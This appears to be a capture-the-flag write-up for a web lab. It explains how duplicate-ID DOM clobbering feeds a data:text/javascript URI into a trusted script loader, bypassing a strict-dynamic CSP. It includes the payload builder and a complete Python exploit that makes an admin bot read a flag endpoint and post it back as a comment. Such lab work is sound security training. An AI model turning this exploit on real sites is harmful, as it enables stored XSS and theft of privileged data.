Lab 284 — KnowledgeForge — Stored XSS via DOM Clobbering + CSP Bypass
Lab 284 — KnowledgeForge — Stored XSS via DOM Clobbering + CSP Bypass
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-15 | Status: Solved Techniques: duplicate_id_dom_clobbering, named_htmlcollection_access, same_origin_exfiltration, strict_dynamic_csp_bypass
Summary
Task: An Express article platform uses a clobberable ForgeHighlight configuration and a nonce-based strict-dynamic CSP. Solution: Duplicate anchors supplied a data-URI basePath to its trusted loader, and the admin flag was exfiltrated through comments.
Lab 284 — KnowledgeForge — Stored XSS via DOM Clobbering + CSP Bypass — hackadvisor
Description
Lab 284 — KnowledgeForge — Stored XSS via DOM Clobbering + CSP Bypass
KnowledgeForge is an Express article application behind nginx. The objective was to execute stored JavaScript in the privileged admin review session, read the protected flag, and recover it despite a nonce-based Content Security Policy (CSP).
Reconnaissance
The application returned this relevant policy with a fresh nonce:
text read-only • copy alloweddefault-src 'self'; script-src 'nonce-...' 'strict-dynamic'; ... connect-src 'self'
This blocked ordinary inline JavaScript and external callback requests. However, /robots.txt disclosed the privileged endpoint:
text read-only • copy allowed/api/admin/flag
The target used Express behind nginx and automatically sent an admin bot to review newly created content. An initial HTML-source value, FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}, was a decoy and was not the submitted flag.
Analysis
Vulnerable ForgeHighlight logic
The relevant behavior of /js/forge-highlight.js was:
javascript read-only • copy allowedconst configEl = window.forgeHighlight || document.getElementById('forgeHighlight'); if (configEl) { this.basePath = configEl.basePath || configEl.getAttribute('data-base-path'); } document.querySelectorAll('pre code').forEach((block) => { const lang = /* language parsed from the block's class */; const script = document.createElement('script'); script.src = this.basePath + '/lang-' + lang + '.js'; document.head.appendChild(script); });
The script treated a DOM-derived object as trusted configuration and used its basePath property to construct another script URL without validating its scheme or origin.
Duplicate-ID DOM clobbering
Two elements with the same id="forgeHighlight" cause the browser's named access behavior to expose an HTMLCollection as window.forgeHighlight. The collection is truthy, so the first branch of the configuration expression accepts it.
Named properties on that collection resolve elements by name. Therefore, if the second duplicate anchor has name="basePath", then configEl.basePath returns that anchor. When concatenated into the script URL, the anchor is converted to its absolute href string:
html read-only • copy allowed<a id="forgeHighlight"></a> <a id="forgeHighlight" name="basePath" href="data:text/javascript,..."></a>
This turns the preserved id, name, and href attributes into an attacker-controlled script source without requiring a <script> tag or event handler.
Why strict-dynamic did not stop execution
ForgeHighlight itself was loaded by a nonce-bearing script trusted by the page CSP. With 'strict-dynamic', scripts dynamically created by an already trusted script inherit that trust; host and scheme allowlists do not protect the child load. ForgeHighlight consequently authorized the attacker-controlled data:text/javascript script by creating and appending it itself.
The loader always appended /lang-plaintext.js to basePath. The data URI ended with a URL-encoded newline followed by //, so the final source was effectively:
javascript read-only • copy allowedATTACKER_CODE ///lang-plaintext.js
A plaintext code block ensured that this loader path was reached.
Solution
Exploit flow
- Authenticate as the supplied normal user.
- Build JavaScript that fetches
/api/admin/flagunder the visitor's session. - POST the returned JSON to the current article's comments API.
- URL-encode the JavaScript into a
data:text/javascript,URI ending in%0A//. - Store two
forgeHighlightanchors, with the second namedbasePathand pointing to that URI. - Add a
language-plaintextcode block to trigger ForgeHighlight's dynamic language loader. - Create the article and wait for automatic admin review.
- Read the admin bot's exfiltrated response from the article comments.
External exfiltration was unsuitable because connect-src 'self' blocked callbacks to another origin. Posting to /api/articles/<current-id>/comments stayed same-origin and left the result readable to the article author.
The exact stored HTML was generated as follows:
python read-only • copy allowedjs = ( "fetch('/api/admin/flag').then(r=>r.json()).then(d=>" "fetch('/api/articles/'+location.pathname.split('/').pop()+'/comments'," "{method:'POST',headers:{'Content-Type':'application/json'}," "body:JSON.stringify({content:'ADMIN_FLAG:'+JSON.stringify(d)})}))\n//" ) data_uri = "data:text/javascript," + quote(js, safe="") content = ( '<a id="forgeHighlight"></a>' f'<a id="forgeHighlight" name="basePath" href="{data_uri}"></a>' '<h2>Plaintext formatting test</h2>' '<pre><code class="language-plaintext">quality assurance sample</code></pre>' )
Complete exploit
python read-only • copy allowed#!/usr/bin/env python3 import re from urllib.parse import quote, urljoin import requests BASE = "https://47c291ce-6f5b-47b4-bb76-968506bfb6d0.labs.hackadvisor.io/" s = requests.Session() s.post(urljoin(BASE, "login"), data={ "email": "user@test.com", "password": "password123", }).raise_for_status() # Keep all exfiltration same-origin because CSP connect-src is 'self'. A trailing # JS line comment absorbs ForgeHighlight's appended /lang-plaintext.js suffix. js = ( "fetch('/api/admin/flag').then(r=>r.json()).then(d=>" "fetch('/api/articles/'+location.pathname.split('/').pop()+'/comments'," "{method:'POST',headers:{'Content-Type':'application/json'}," "body:JSON.stringify({content:'ADMIN_FLAG:'+JSON.stringify(d)})}))\n//" ) data_uri = "data:text/javascript," + quote(js, safe="") content = ( '<a id="forgeHighlight"></a>' f'<a id="forgeHighlight" name="basePath" href="{data_uri}"></a>' '<h2>Plaintext formatting test</h2>' '<pre><code class="language-plaintext">quality assurance sample</code></pre>' ) r = s.post(urljoin(BASE, "articles"), data={ "title": "Plaintext Grammar Quality Test", "category_id": "1", "tags": "syntax,review", "content": content, }, allow_redirects=False) print("create status:", r.status_code, "location:", r.headers.get("Location")) print(r.text[:500]) location = r.headers.get("Location", "") match = re.search(r"/articles/(\d+)", location) if match: print("ARTICLE_ID=" + match.group(1)) else: print("Could not identify article ID")
Verification
The exploit created article ID 18. Its rendered HTML retained both duplicate IDs, the basePath name, and the data:text/javascript URL. Automatic admin review executed the payload, and a new article comment contained the genuine /api/admin/flag response:
text read-only • copy allowedFLAG{REDACTED}
Reference
The CTF Writeup analog 20260503_hackadvisor_prosepad_dom_clobbering_xss confirmed the duplicate-anchor, named-property, data-URI, and same-origin comment exfiltration pattern.